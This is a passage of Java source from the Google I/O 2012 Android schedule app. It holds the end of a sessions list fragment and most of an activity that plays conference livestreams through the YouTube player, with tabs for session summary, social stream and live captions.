View.VISIBLE : View.INVISIBLE); final boolean hasLivestream = !TextUtils.isEmpty( cursor.getString(SessionsQuery.LIVESTREAM_URL)); // Show past/present/future and livestream status for this block. UIUtils.updateTimeAndLivestreamBlockUI(context, blockStart, blockEnd, hasLivestream, titleView, subtitleView, subtitle); } } /** * {@link CursorAdapter} that renders a {@link SearchQuery}. */ private class SearchAdapter extends CursorAdapter { public SearchAdapter(Context context) { super(context, null, 0); } /** {@inheritDoc} */ @Override public View newView(Context context, Cursor cursor, ViewGroup parent) { return getActivity().getLayoutInflater().inflate(R.layout.list_item_session, parent, false); } /** {@inheritDoc} */ @Override public void bindView(View view, Context context, Cursor cursor) { UIUtils.setActivatedCompat(view, cursor.getString(SessionsQuery.SESSION_ID) .equals(mSelectedSessionId)); ((TextView) view.findViewById(R.id.session_title)).setText(cursor .getString(SearchQuery.TITLE)); final String snippet = cursor.getString(SearchQuery.SEARCH_SNIPPET); final Spannable styledSnippet = buildStyledSnippet(snippet); ((TextView) view.findViewById(R.id.session_subtitle)).setText(styledSnippet); final boolean starred = cursor.getInt(SearchQuery.STARRED) != 0; view.findViewById(R.id.indicator_in_schedule).setVisibility( starred ? View.VISIBLE : View.INVISIBLE); } } /** * {@link com.google.android.apps.iosched.provider.ScheduleContract.Sessions} * query parameters. */ private interface SessionsQuery { int _TOKEN = 0x1; String[] PROJECTION = { BaseColumns._ID, ScheduleContract.Sessions.SESSION_ID, ScheduleContract.Sessions.SESSION_TITLE, ScheduleContract.Sessions.SESSION_STARRED, ScheduleContract.Blocks.BLOCK_START, ScheduleContract.Blocks.BLOCK_END, ScheduleContract.Rooms.ROOM_NAME, ScheduleContract.Rooms.ROOM_ID, ScheduleContract.Sessions.SESSION_HASHTAGS, ScheduleContract.Sessions.SESSION_URL, ScheduleContract.Sessions.SESSION_LIVESTREAM_URL, }; int _ID = 0; int SESSION_ID = 1; int TITLE = 2; int STARRED = 3; int BLOCK_START = 4; int BLOCK_END = 5; int ROOM_NAME = 6; int ROOM_ID = 7; int HASHTAGS = 8; int URL = 9; int LIVESTREAM_URL = 10; } /** * {@link com.google.android.apps.iosched.provider.ScheduleContract.Sessions} * search query parameters. */ private interface SearchQuery { int _TOKEN = 0x3; String[] PROJECTION = { BaseColumns._ID, ScheduleContract.Sessions.SESSION_ID, ScheduleContract.Sessions.SESSION_TITLE, ScheduleContract.Sessions.SESSION_STARRED, ScheduleContract.Sessions.SEARCH_SNIPPET, }; int _ID = 0; int SESSION_ID = 1; int TITLE = 2; int STARRED = 3; int SEARCH_SNIPPET = 4; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SessionsFragment.java
Java
asf20
26,536
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.annotation.SuppressLint; import android.annotation.TargetApi; import android.app.Presentation; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.pm.ActivityInfo; import android.content.res.Configuration; import android.database.Cursor; import android.graphics.Color; import android.media.MediaRouter; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.provider.BaseColumns; import android.support.v7.app.ActionBar; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentPagerAdapter; import android.support.v4.app.FragmentTransaction; import android.support.v4.app.LoaderManager.LoaderCallbacks; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.support.v4.view.ViewPager; import android.support.v4.widget.CursorAdapter; import android.text.TextUtils; import android.view.*; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.FrameLayout; import android.widget.ImageButton; import android.widget.LinearLayout; import android.widget.LinearLayout.LayoutParams; import android.widget.TabHost; import android.widget.TabWidget; import android.widget.TextView; import android.widget.Toast; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.Config; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.provider.ScheduleContract.Sessions; import com.google.android.apps.iosched.provider.ScheduleContract.Tracks; import com.google.android.apps.iosched.util.SessionsHelper; import com.google.android.apps.iosched.util.UIUtils; import com.google.android.youtube.player.YouTubeInitializationResult; import com.google.android.youtube.player.YouTubePlayer; import com.google.android.youtube.player.YouTubePlayerSupportFragment; import java.util.ArrayList; import java.util.HashMap; import static com.google.android.apps.iosched.util.LogUtils.LOGD; import static com.google.android.apps.iosched.util.LogUtils.LOGE; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * An activity that displays the session live stream video which is pulled in from YouTube. The * UI adapts for both phone and tablet. As we want to prevent the YouTube player from restarting * and buffering again on orientation change, we handle configuration changes manually. */ @TargetApi(Build.VERSION_CODES.HONEYCOMB) public class SessionLivestreamActivity extends BaseActivity implements LoaderCallbacks<Cursor>, YouTubePlayer.OnInitializedListener, YouTubePlayer.PlayerStateChangeListener, YouTubePlayer.OnFullscreenListener, ActionBar.OnNavigationListener { private static final String TAG = makeLogTag(SessionLivestreamActivity.class); private static final String EXTRA_PREFIX = "com.google.android.iosched.extra."; private static final int YOUTUBE_RECOVERY_RESULT = 1; private static final String LOADER_SESSIONS_ARG = "futureSessions"; public static final String EXTRA_YOUTUBE_URL = EXTRA_PREFIX + "youtube_url"; public static final String EXTRA_TRACK = EXTRA_PREFIX + "track"; public static final String EXTRA_TITLE = EXTRA_PREFIX + "title"; public static final String EXTRA_ABSTRACT = EXTRA_PREFIX + "abstract"; public static final String KEYNOTE_TRACK_NAME = "Keynote"; private static final String TAG_SESSION_SUMMARY = "session_summary"; private static final String TAG_CAPTIONS = "captions"; private static final int TABNUM_SESSION_SUMMARY = 0; private static final int TABNUM_SOCIAL_STREAM = 1; private static final int TABNUM_LIVE_CAPTIONS = 2; private static final String EXTRA_TAB_STATE = "tag"; private static final int STREAM_REFRESH_TIME = 5 * 60 * 1000; // 5 minutes private boolean mIsTablet; private boolean mIsFullscreen = false; private boolean mLoadFromExtras = false; private boolean mTrackPlay = true; private TabHost mTabHost; private TabsAdapter mTabsAdapter; private YouTubePlayer mYouTubePlayer; private YouTubePlayerSupportFragment mYouTubeFragment; private LinearLayout mPlayerContainer; private String mYouTubeVideoId; private LinearLayout mMainLayout; private LinearLayout mVideoLayout; private LinearLayout mExtraLayout; private FrameLayout mPresentationControls; private FrameLayout mSummaryLayout; private FrameLayout mFullscreenCaptions; private MenuItem mCaptionsMenuItem; private MenuItem mShareMenuItem; private MenuItem mPresentationMenuItem; private Runnable mShareMenuDeferredSetup; private Runnable mSessionSummaryDeferredSetup; private SessionShareData mSessionShareData; private boolean mSessionsFound; private boolean isKeynote = false; private Handler mHandler = new Handler(); private int mYouTubeFullscreenFlags; private LivestreamAdapter mLivestreamAdapter; private Uri mSessionUri; private String mSessionId; private String mTrackName; private MediaRouter mMediaRouter; private YouTubePresentation mPresentation; private MediaRouter.SimpleCallback mMediaRouterCallback; @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) @Override protected void onCreate(Bundle savedInstanceState) { if (UIUtils.hasICS()) { // We can't use this mode on HC as compatible ActionBar doesn't work well with the YT // player in full screen mode (no overlays allowed). requestWindowFeature(Window.FEATURE_ACTION_BAR_OVERLAY); } super.onCreate(savedInstanceState); setContentView(R.layout.activity_session_livestream); mIsTablet = UIUtils.isHoneycombTablet(this); // Set up YouTube player mYouTubeFragment = (YouTubePlayerSupportFragment) getSupportFragmentManager().findFragmentById(R.id.livestream_player); mYouTubeFragment.initialize(Config.YOUTUBE_API_KEY, this); // Views that are common over all layouts mMainLayout = (LinearLayout) findViewById(R.id.livestream_mainlayout); mPresentationControls = (FrameLayout) findViewById(R.id.presentation_controls); adjustMainLayoutForActionBar(); mPlayerContainer = (LinearLayout) findViewById(R.id.livestream_player_container); mFullscreenCaptions = (FrameLayout) findViewById(R.id.fullscreen_captions); final LayoutParams params = (LayoutParams) mFullscreenCaptions.getLayoutParams(); params.setMargins(0, getActionBarHeightPx(), 0, getActionBarHeightPx()); mFullscreenCaptions.setLayoutParams(params); ViewPager viewPager = (ViewPager) findViewById(R.id.pager); viewPager.setOffscreenPageLimit(2); if (!mIsTablet) { viewPager.setPageMarginDrawable(R.drawable.grey_border_inset_lr); } viewPager.setPageMargin(getResources().getDimensionPixelSize(R.dimen.page_margin_width)); // Set up tabs w/ViewPager mTabHost = (TabHost) findViewById(android.R.id.tabhost); mTabHost.setup(); mTabsAdapter = new TabsAdapter(this, mTabHost, viewPager); if (mIsTablet) { // Tablet UI specific views getSupportFragmentManager().beginTransaction().add(R.id.livestream_summary, new SessionSummaryFragment(), TAG_SESSION_SUMMARY).commit(); mVideoLayout = (LinearLayout) findViewById(R.id.livestream_videolayout); mExtraLayout = (LinearLayout) findViewById(R.id.livestream_extralayout); mSummaryLayout = (FrameLayout) findViewById(R.id.livestream_summary); } else { // Handset UI specific views mTabsAdapter.addTab( getString(R.string.session_livestream_info), new SessionSummaryFragment(), TABNUM_SESSION_SUMMARY); } mTabsAdapter.addTab(getString(R.string.title_stream), new SocialStreamFragment(), TABNUM_SOCIAL_STREAM); mTabsAdapter.addTab(getString(R.string.session_livestream_captions), new SessionLiveCaptionsFragment(), TABNUM_LIVE_CAPTIONS); if (savedInstanceState != null) { mTabHost.setCurrentTabByTag(savedInstanceState.getString(EXTRA_TAB_STATE)); } // Reload all other data in this activity reloadFromIntent(getIntent()); // Update layout based on current configuration updateLayout(getResources().getConfiguration()); // Set up action bar if (!mLoadFromExtras) { // Start sessions query to populate action bar navigation spinner getSupportLoaderManager().initLoader(SessionsQuery._TOKEN, null, this); // Set up action bar mLivestreamAdapter = new LivestreamAdapter(getSupportActionBar().getThemedContext()); final ActionBar actionBar = getSupportActionBar(); actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_LIST); actionBar.setListNavigationCallbacks(mLivestreamAdapter, this); actionBar.setDisplayShowTitleEnabled(false); } // Media Router and Presentation set up if (UIUtils.hasJellyBeanMR1()) { mMediaRouterCallback = new MediaRouter.SimpleCallback() { @Override public void onRouteSelected(MediaRouter router, int type, MediaRouter.RouteInfo info) { LOGD(TAG, "onRouteSelected: type=" + type + ", info=" + info); updatePresentation(); } @Override public void onRouteUnselected(MediaRouter router, int type, MediaRouter.RouteInfo info) { LOGD(TAG, "onRouteUnselected: type=" + type + ", info=" + info); updatePresentation(); } @Override public void onRoutePresentationDisplayChanged(MediaRouter router, MediaRouter.RouteInfo info) { LOGD(TAG, "onRoutePresentationDisplayChanged: info=" + info); updatePresentation(); } }; mMediaRouter = (MediaRouter) getSystemService(Context.MEDIA_ROUTER_SERVICE); final ImageButton playPauseButton = (ImageButton) findViewById(R.id.play_pause_button); playPauseButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { if (mYouTubePlayer != null) { if (mYouTubePlayer.isPlaying()) { mYouTubePlayer.pause(); playPauseButton.setImageResource(R.drawable.ic_livestream_play); } else { mYouTubePlayer.play(); playPauseButton.setImageResource(R.drawable.ic_livestream_pause); } } } }); updatePresentation(); } } @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) @Override protected void onResume() { super.onResume(); if (mSessionSummaryDeferredSetup != null) { mSessionSummaryDeferredSetup.run(); mSessionSummaryDeferredSetup = null; } mHandler.postDelayed(mStreamRefreshRunnable, STREAM_REFRESH_TIME); if (UIUtils.hasJellyBeanMR1()) { mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_LIVE_VIDEO, mMediaRouterCallback); } } @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) @Override protected void onPause() { super.onPause(); mHandler.removeCallbacks(mStreamRefreshRunnable); if (UIUtils.hasJellyBeanMR1()) { mMediaRouter.removeCallback(mMediaRouterCallback); } } @Override public void onStop() { super.onStop(); // Dismiss the presentation when the activity is not visible if (mPresentation != null) { LOGD(TAG, "Dismissing presentation because the activity is no longer visible."); mPresentation.dismiss(); mPresentation = null; } } /** * Reloads all data in the activity and fragments from a given intent * @param intent The intent to load from */ private void reloadFromIntent(Intent intent) { final String youtubeUrl = intent.getStringExtra(EXTRA_YOUTUBE_URL); // Check if youtube url is set as an extra first if (youtubeUrl != null) { mLoadFromExtras = true; String trackName = intent.getStringExtra(EXTRA_TRACK); String actionBarTitle; if (trackName == null) { actionBarTitle = getString(R.string.session_livestream_title); } else { isKeynote = KEYNOTE_TRACK_NAME.equals(trackName); actionBarTitle = trackName + " - " + getString(R.string.session_livestream_title); } getSupportActionBar().setTitle(actionBarTitle); updateSessionViews(youtubeUrl, intent.getStringExtra(EXTRA_TITLE), intent.getStringExtra(EXTRA_ABSTRACT), UIUtils.CONFERENCE_HASHTAG, trackName); } else { // Otherwise load from session uri reloadFromUri(intent.getData()); } } /** * Reloads all data in the activity and fragments from a given uri * @param newUri The session uri to load from */ private void reloadFromUri(Uri newUri) { mSessionUri = newUri; if (mSessionUri != null && mSessionUri.getPathSegments().size() >= 2) { mSessionId = Sessions.getSessionId(mSessionUri); getSupportLoaderManager().restartLoader(SessionSummaryQuery._TOKEN, null, this); } else { // No session uri, get out mSessionUri = null; finish(); } } /** * Helper method to start this activity using only extras (rather than session uri). * @param context The package context * @param youtubeUrl The youtube url or video id to load * @param track The track title (appears as part of action bar title), can be null * @param title The title to show in the session info fragment, can be null * @param sessionAbstract The session abstract to show in the session info fragment, can be null */ public static void startFromExtras(Context context, String youtubeUrl, String track, String title, String sessionAbstract) { if (youtubeUrl == null) { return; } final Intent i = new Intent(); i.setClass(context, SessionLivestreamActivity.class); i.putExtra(EXTRA_YOUTUBE_URL, youtubeUrl); i.putExtra(EXTRA_TRACK, track); i.putExtra(EXTRA_TITLE, title); i.putExtra(EXTRA_ABSTRACT, sessionAbstract); context.startActivity(i); } /** * Start a keynote live stream from extras. This sets the track name correctly so captions * will be correctly displayed. * * This will play the video given in youtubeUrl, however if a number ranging from 1-99 is * passed in this param instead it will be parsed and used to lookup a youtube ID from a * google spreadsheet using the param as the spreadsheet row number. */ public static void startKeynoteFromExtras(Context context, String youtubeUrl, String title, String sessionAbstract) { startFromExtras(context, youtubeUrl, KEYNOTE_TRACK_NAME, title, sessionAbstract); } @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); if (mTabHost != null) { outState.putString(EXTRA_TAB_STATE, mTabHost.getCurrentTabTag()); } } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.session_livestream, menu); mCaptionsMenuItem = menu.findItem(R.id.menu_captions); mPresentationMenuItem = menu.findItem(R.id.menu_presentation); mPresentationMenuItem.setVisible(mPresentation != null); updatePresentationMenuItem(mPresentation != null); mShareMenuItem = menu.findItem(R.id.menu_share); if (mShareMenuDeferredSetup != null) { mShareMenuDeferredSetup.run(); } if (!mIsTablet && Configuration.ORIENTATION_LANDSCAPE == getResources().getConfiguration().orientation) { mCaptionsMenuItem.setVisible(true); } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_captions: if (mIsFullscreen) { if (mFullscreenCaptions.getVisibility() == View.GONE) { mFullscreenCaptions.setVisibility(View.VISIBLE); SessionLiveCaptionsFragment captionsFragment; captionsFragment = (SessionLiveCaptionsFragment) getSupportFragmentManager().findFragmentByTag(TAG_CAPTIONS); if (captionsFragment == null) { captionsFragment = new SessionLiveCaptionsFragment(); captionsFragment.setDarkTheme(true); FragmentTransaction ft = getSupportFragmentManager().beginTransaction(); ft.add(R.id.fullscreen_captions, captionsFragment, TAG_CAPTIONS); ft.commit(); } captionsFragment.setTrackName(mTrackName); return true; } } mFullscreenCaptions.setVisibility(View.GONE); break; case R.id.menu_share: if (mSessionShareData != null) { new SessionsHelper(this).shareSession(this, R.string.share_livestream_template, mSessionShareData.title, mSessionShareData.hashtag, mSessionShareData.sessionUrl); return true; } break; case R.id.menu_presentation: if (mPresentation != null) { mPresentation.dismiss(); } else { updatePresentation(); } break; } return super.onOptionsItemSelected(item); } @Override public void onConfigurationChanged(Configuration newConfig) { // Need to handle configuration changes so as not to interrupt YT player and require // buffering again updateLayout(newConfig); super.onConfigurationChanged(newConfig); } @Override public boolean onNavigationItemSelected(int itemPosition, long itemId) { final Cursor cursor = (Cursor) mLivestreamAdapter.getItem(itemPosition); String trackName = cursor.getString(SessionsQuery.TRACK_NAME); int trackColor = cursor.getInt(SessionsQuery.TRACK_COLOR); setActionBarTrackIcon(trackName, trackColor); final String sessionId = cursor.getString(SessionsQuery.SESSION_ID); if (sessionId != null) { reloadFromUri(Sessions.buildSessionUri(sessionId)); return true; } return false; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle args) { switch (id) { case SessionSummaryQuery._TOKEN: return new CursorLoader(this, Sessions.buildWithTracksUri(mSessionId), SessionSummaryQuery.PROJECTION, null, null, null); case SessionsQuery._TOKEN: boolean futureSessions = false; if (args != null) { futureSessions = args.getBoolean(LOADER_SESSIONS_ARG, false); } final long currentTime = UIUtils.getCurrentTime(this); String selection = Sessions.LIVESTREAM_SELECTION + " and "; String[] selectionArgs; if (!futureSessions) { selection += Sessions.AT_TIME_SELECTION; selectionArgs = Sessions.buildAtTimeSelectionArgs(currentTime); } else { selection += Sessions.UPCOMING_SELECTION; selectionArgs = Sessions.buildUpcomingSelectionArgs(currentTime); } return new CursorLoader(this, Sessions.buildWithTracksUri(), SessionsQuery.PROJECTION, selection, selectionArgs, null); } return null; } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor data) { switch (loader.getId()) { case SessionSummaryQuery._TOKEN: loadSession(data); break; case SessionsQuery._TOKEN: mLivestreamAdapter.swapCursor(data); if (data != null && data.getCount() > 0) { mSessionsFound = true; final int selected = locateSelectedItem(data); getSupportActionBar().setSelectedNavigationItem(selected); } else if (mSessionsFound) { mSessionsFound = false; final Bundle bundle = new Bundle(); bundle.putBoolean(LOADER_SESSIONS_ARG, true); getSupportLoaderManager().restartLoader(SessionsQuery._TOKEN, bundle, this); } else { finish(); } break; } } /** * Locates which item should be selected in the action bar drop-down spinner based on the * current active session uri * @param data The data * @return The row num of the item that should be selected or 0 if not found */ private int locateSelectedItem(Cursor data) { int selected = 0; if (data != null && (mSessionId != null || mTrackName != null)) { final boolean findNextSessionByTrack = mTrackName != null; while (data.moveToNext()) { if (findNextSessionByTrack) { if (mTrackName.equals(data.getString(SessionsQuery.TRACK_NAME))) { selected = data.getPosition(); mTrackName = null; break; } } else { if (mSessionId.equals(data.getString(SessionsQuery.SESSION_ID))) { selected = data.getPosition(); } } } } return selected; } @Override public void onLoaderReset(Loader<Cursor> loader) { switch (loader.getId()) { case SessionsQuery._TOKEN: mLivestreamAdapter.swapCursor(null); break; } } @Override public void onFullscreen(boolean fullscreen) { layoutFullscreenVideo(fullscreen); } @Override public void onLoading() { } @Override public void onLoaded(String s) { } @Override public void onAdStarted() { } @Override public void onVideoStarted() { } @Override public void onVideoEnded() { } @Override public void onError(YouTubePlayer.ErrorReason errorReason) { Toast.makeText(this, R.string.session_livestream_error_playback, Toast.LENGTH_LONG).show(); LOGE(TAG, errorReason.toString()); } private void loadSession(Cursor data) { if (data != null && data.moveToFirst()) { mTrackName = data.getString(SessionSummaryQuery.TRACK_NAME); if (TextUtils.isEmpty(mTrackName)) { mTrackName = KEYNOTE_TRACK_NAME; isKeynote = true; } final long currentTime = UIUtils.getCurrentTime(this); if (currentTime > data.getLong(SessionSummaryQuery.BLOCK_END)) { getSupportLoaderManager().restartLoader(SessionsQuery._TOKEN, null, this); return; } updateTagStreamFragment(data.getString(SessionSummaryQuery.HASHTAGS)); updateSessionViews( data.getString(SessionSummaryQuery.LIVESTREAM_URL), data.getString(SessionSummaryQuery.TITLE), data.getString(SessionSummaryQuery.ABSTRACT), data.getString(SessionSummaryQuery.HASHTAGS), mTrackName); } } /** * Updates views that rely on session data from explicit strings. */ private void updateSessionViews(final String youtubeUrl, final String title, final String sessionAbstract, final String hashTag, final String trackName) { if (youtubeUrl == null) { // Get out, nothing to do here finish(); return; } mTrackName = trackName; String youtubeVideoId = youtubeUrl; if (youtubeUrl.startsWith("http")) { final Uri youTubeUri = Uri.parse(youtubeUrl); youtubeVideoId = youTubeUri.getQueryParameter("v"); } // Play the video playVideo(youtubeVideoId); if (mTrackPlay) { EasyTracker.getTracker().sendView("Live Streaming: " + title); LOGD("Tracker", "Live Streaming: " + title); } final String newYoutubeUrl = Config.YOUTUBE_SHARE_URL_PREFIX + youtubeVideoId; mSessionShareData = new SessionShareData(title, hashTag, newYoutubeUrl); mShareMenuDeferredSetup = new Runnable() { @Override public void run() { new SessionsHelper(SessionLivestreamActivity.this) .tryConfigureShareMenuItem(mShareMenuItem, R.string.share_livestream_template, title, hashTag, newYoutubeUrl); } }; if (mShareMenuItem != null) { mShareMenuDeferredSetup.run(); mShareMenuDeferredSetup = null; } mSessionSummaryDeferredSetup = new Runnable() { @Override public void run() { updateSessionSummaryFragment(title, sessionAbstract); updateSessionLiveCaptionsFragment(trackName); } }; if (!mLoadFromExtras) { mSessionSummaryDeferredSetup.run(); mSessionSummaryDeferredSetup = null; } } private void updateSessionSummaryFragment(String title, String sessionAbstract) { SessionSummaryFragment sessionSummaryFragment = null; if (mIsTablet) { sessionSummaryFragment = (SessionSummaryFragment) getSupportFragmentManager().findFragmentByTag(TAG_SESSION_SUMMARY); } else { if (mTabsAdapter.mFragments.containsKey(TABNUM_SESSION_SUMMARY)) { sessionSummaryFragment = (SessionSummaryFragment) mTabsAdapter.mFragments.get(TABNUM_SESSION_SUMMARY); } } if (sessionSummaryFragment != null) { sessionSummaryFragment.setSessionSummaryInfo( isKeynote ? getString(R.string.session_livestream_keynote_title, title) : title, (isKeynote && TextUtils.isEmpty(sessionAbstract)) ? getString(R.string.session_livestream_keynote_desc) : sessionAbstract); } } private Runnable mStreamRefreshRunnable = new Runnable() { @Override public void run() { if (mTabsAdapter != null && mTabsAdapter.mFragments != null && mTabsAdapter.mFragments.containsKey(TABNUM_SOCIAL_STREAM)) { final SocialStreamFragment socialStreamFragment = (SocialStreamFragment) mTabsAdapter.mFragments.get(TABNUM_SOCIAL_STREAM); socialStreamFragment.refresh(); } mHandler.postDelayed(mStreamRefreshRunnable, STREAM_REFRESH_TIME); } }; private void updateTagStreamFragment(String trackHashTag) { String hashTags = UIUtils.CONFERENCE_HASHTAG; if (!TextUtils.isEmpty(trackHashTag)) { hashTags += " " + trackHashTag; } if (mTabsAdapter.mFragments.containsKey(TABNUM_SOCIAL_STREAM)) { final SocialStreamFragment socialStreamFragment = (SocialStreamFragment) mTabsAdapter.mFragments.get(TABNUM_SOCIAL_STREAM); socialStreamFragment.refresh(hashTags); } } private void updateSessionLiveCaptionsFragment(String trackName) { if (mTabsAdapter.mFragments.containsKey(TABNUM_LIVE_CAPTIONS)) { final SessionLiveCaptionsFragment captionsFragment = (SessionLiveCaptionsFragment) mTabsAdapter.mFragments.get(TABNUM_LIVE_CAPTIONS); captionsFragment.setTrackName(trackName); } } private void playVideo(String videoId) { if ((TextUtils.isEmpty(mYouTubeVideoId) || !mYouTubeVideoId.equals(videoId)) && !TextUtils.isEmpty(videoId)) { mYouTubeVideoId = videoId; if (mYouTubePlayer != null) { mYouTubePlayer.loadVideo(mYouTubeVideoId); } mTrackPlay = true; if (mSessionShareData != null) { mSessionShareData.sessionUrl = Config.YOUTUBE_SHARE_URL_PREFIX + mYouTubeVideoId; } } } @Override public Intent getParentActivityIntent() { if (mLoadFromExtras || isKeynote || mSessionUri == null) { return new Intent(this, HomeActivity.class); } else { return new Intent(Intent.ACTION_VIEW, mSessionUri); } } @Override public void onInitializationSuccess(YouTubePlayer.Provider provider, YouTubePlayer youTubePlayer, boolean wasRestored) { // Set up YouTube player mYouTubePlayer = youTubePlayer; mYouTubePlayer.setPlayerStateChangeListener(this); mYouTubePlayer.setFullscreen(mIsFullscreen); mYouTubePlayer.setOnFullscreenListener(this); // YouTube player flags: use a custom full screen layout; let the YouTube player control // the system UI (hiding navigation controls, ActionBar etc); and let the YouTube player // handle the orientation state of the activity. mYouTubeFullscreenFlags = YouTubePlayer.FULLSCREEN_FLAG_CUSTOM_LAYOUT | YouTubePlayer.FULLSCREEN_FLAG_CONTROL_SYSTEM_UI | YouTubePlayer.FULLSCREEN_FLAG_CONTROL_ORIENTATION; // On smaller screen devices always switch to full screen in landscape mode if (!mIsTablet) { mYouTubeFullscreenFlags |= YouTubePlayer.FULLSCREEN_FLAG_ALWAYS_FULLSCREEN_IN_LANDSCAPE; } // Apply full screen flags setFullscreenFlags(); // If a presentation display is available, set YouTube player style to minimal if (mPresentation != null) { mYouTubePlayer.setPlayerStyle(YouTubePlayer.PlayerStyle.MINIMAL); } // Load the requested video if (!TextUtils.isEmpty(mYouTubeVideoId)) { mYouTubePlayer.loadVideo(mYouTubeVideoId); } updatePresentation(); } @Override public void onInitializationFailure(YouTubePlayer.Provider provider, YouTubeInitializationResult result) { LOGE(TAG, result.toString()); if (result.isUserRecoverableError()) { result.getErrorDialog(this, YOUTUBE_RECOVERY_RESULT).show(); } else { String errorMessage = getString(R.string.session_livestream_error_init, result.toString()); Toast.makeText(this, errorMessage, Toast.LENGTH_LONG).show(); } } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == YOUTUBE_RECOVERY_RESULT) { if (mYouTubeFragment != null) { mYouTubeFragment.initialize(Config.YOUTUBE_API_KEY, this); } } } /** * Updates the layout based on the provided configuration */ private void updateLayout(Configuration config) { if (config.orientation == Configuration.ORIENTATION_LANDSCAPE) { if (mIsTablet) { layoutTabletForLandscape(); } else { layoutPhoneForLandscape(); } } else { if (mIsTablet) { layoutTabletForPortrait(); } else { layoutPhoneForPortrait(); } } } private void layoutPhoneForLandscape() { layoutFullscreenVideo(true); } private void layoutPhoneForPortrait() { layoutFullscreenVideo(false); if (mTabsAdapter.mFragments.containsKey(TABNUM_SESSION_SUMMARY)) { ((SessionSummaryFragment) mTabsAdapter.mFragments.get(TABNUM_SESSION_SUMMARY)).updateViews(); } } private void layoutTabletForLandscape() { mMainLayout.setOrientation(LinearLayout.HORIZONTAL); final LayoutParams videoLayoutParams = (LayoutParams) mVideoLayout.getLayoutParams(); videoLayoutParams.height = LayoutParams.MATCH_PARENT; videoLayoutParams.width = 0; videoLayoutParams.weight = 1; mVideoLayout.setLayoutParams(videoLayoutParams); final LayoutParams extraLayoutParams = (LayoutParams) mExtraLayout.getLayoutParams(); extraLayoutParams.height = LayoutParams.MATCH_PARENT; extraLayoutParams.width = 0; extraLayoutParams.weight = 1; mExtraLayout.setLayoutParams(extraLayoutParams); } private void layoutTabletForPortrait() { mMainLayout.setOrientation(LinearLayout.VERTICAL); final LayoutParams videoLayoutParams = (LayoutParams) mVideoLayout.getLayoutParams(); videoLayoutParams.width = LayoutParams.MATCH_PARENT; if (mLoadFromExtras) { // Loading from extras, let the top fragment wrap_content videoLayoutParams.height = LayoutParams.WRAP_CONTENT; videoLayoutParams.weight = 0; } else { // Otherwise the session description will be longer, give it some space videoLayoutParams.height = 0; videoLayoutParams.weight = 7; } mVideoLayout.setLayoutParams(videoLayoutParams); final LayoutParams extraLayoutParams = (LayoutParams) mExtraLayout.getLayoutParams(); extraLayoutParams.width = LayoutParams.MATCH_PARENT; extraLayoutParams.height = 0; extraLayoutParams.weight = 5; mExtraLayout.setLayoutParams(extraLayoutParams); } private void layoutFullscreenVideo(boolean fullscreen) { if (mIsFullscreen != fullscreen) { mIsFullscreen = fullscreen; if (mIsTablet) { // Tablet specific full screen layout layoutTabletFullscreen(fullscreen); } else { // Phone specific full screen layout layoutPhoneFullscreen(fullscreen); } // Full screen layout changes for all form factors final LayoutParams params = (LayoutParams) mPlayerContainer.getLayoutParams(); if (fullscreen) { if (mCaptionsMenuItem != null) { mCaptionsMenuItem.setVisible(true); } params.height = LayoutParams.MATCH_PARENT; mMainLayout.setPadding(0, 0, 0, 0); } else { getSupportActionBar().show(); if (mCaptionsMenuItem != null) { mCaptionsMenuItem.setVisible(false); } mFullscreenCaptions.setVisibility(View.GONE); params.height = LayoutParams.WRAP_CONTENT; adjustMainLayoutForActionBar(); } View youTubePlayerView = mYouTubeFragment.getView(); if (youTubePlayerView != null) { ViewGroup.LayoutParams playerParams = mYouTubeFragment.getView().getLayoutParams(); playerParams.height = fullscreen ? LayoutParams.MATCH_PARENT : LayoutParams.WRAP_CONTENT; youTubePlayerView.setLayoutParams(playerParams); } mPlayerContainer.setLayoutParams(params); } } private void adjustMainLayoutForActionBar() { if (UIUtils.hasICS()) { // On ICS+ we use FEATURE_ACTION_BAR_OVERLAY so full screen mode doesn't need to // re-adjust layouts when hiding action bar. To account for this we add action bar // height pack to the padding when not in full screen mode. mMainLayout.setPadding(0, getActionBarHeightPx(), 0, 0); } } /** * Adjusts tablet layouts for full screen video. * * @param fullscreen True to layout in full screen, false to switch to regular layout */ private void layoutTabletFullscreen(boolean fullscreen) { if (fullscreen) { mExtraLayout.setVisibility(View.GONE); mSummaryLayout.setVisibility(View.GONE); mVideoLayout.setPadding(0, 0, 0, 0); final LayoutParams videoLayoutParams = (LayoutParams) mVideoLayout.getLayoutParams(); videoLayoutParams.setMargins(0, 0, 0, 0); mVideoLayout.setLayoutParams(videoLayoutParams); } else { final int padding = getResources().getDimensionPixelSize(R.dimen.multipane_half_padding); mExtraLayout.setVisibility(View.VISIBLE); mSummaryLayout.setVisibility(View.VISIBLE); 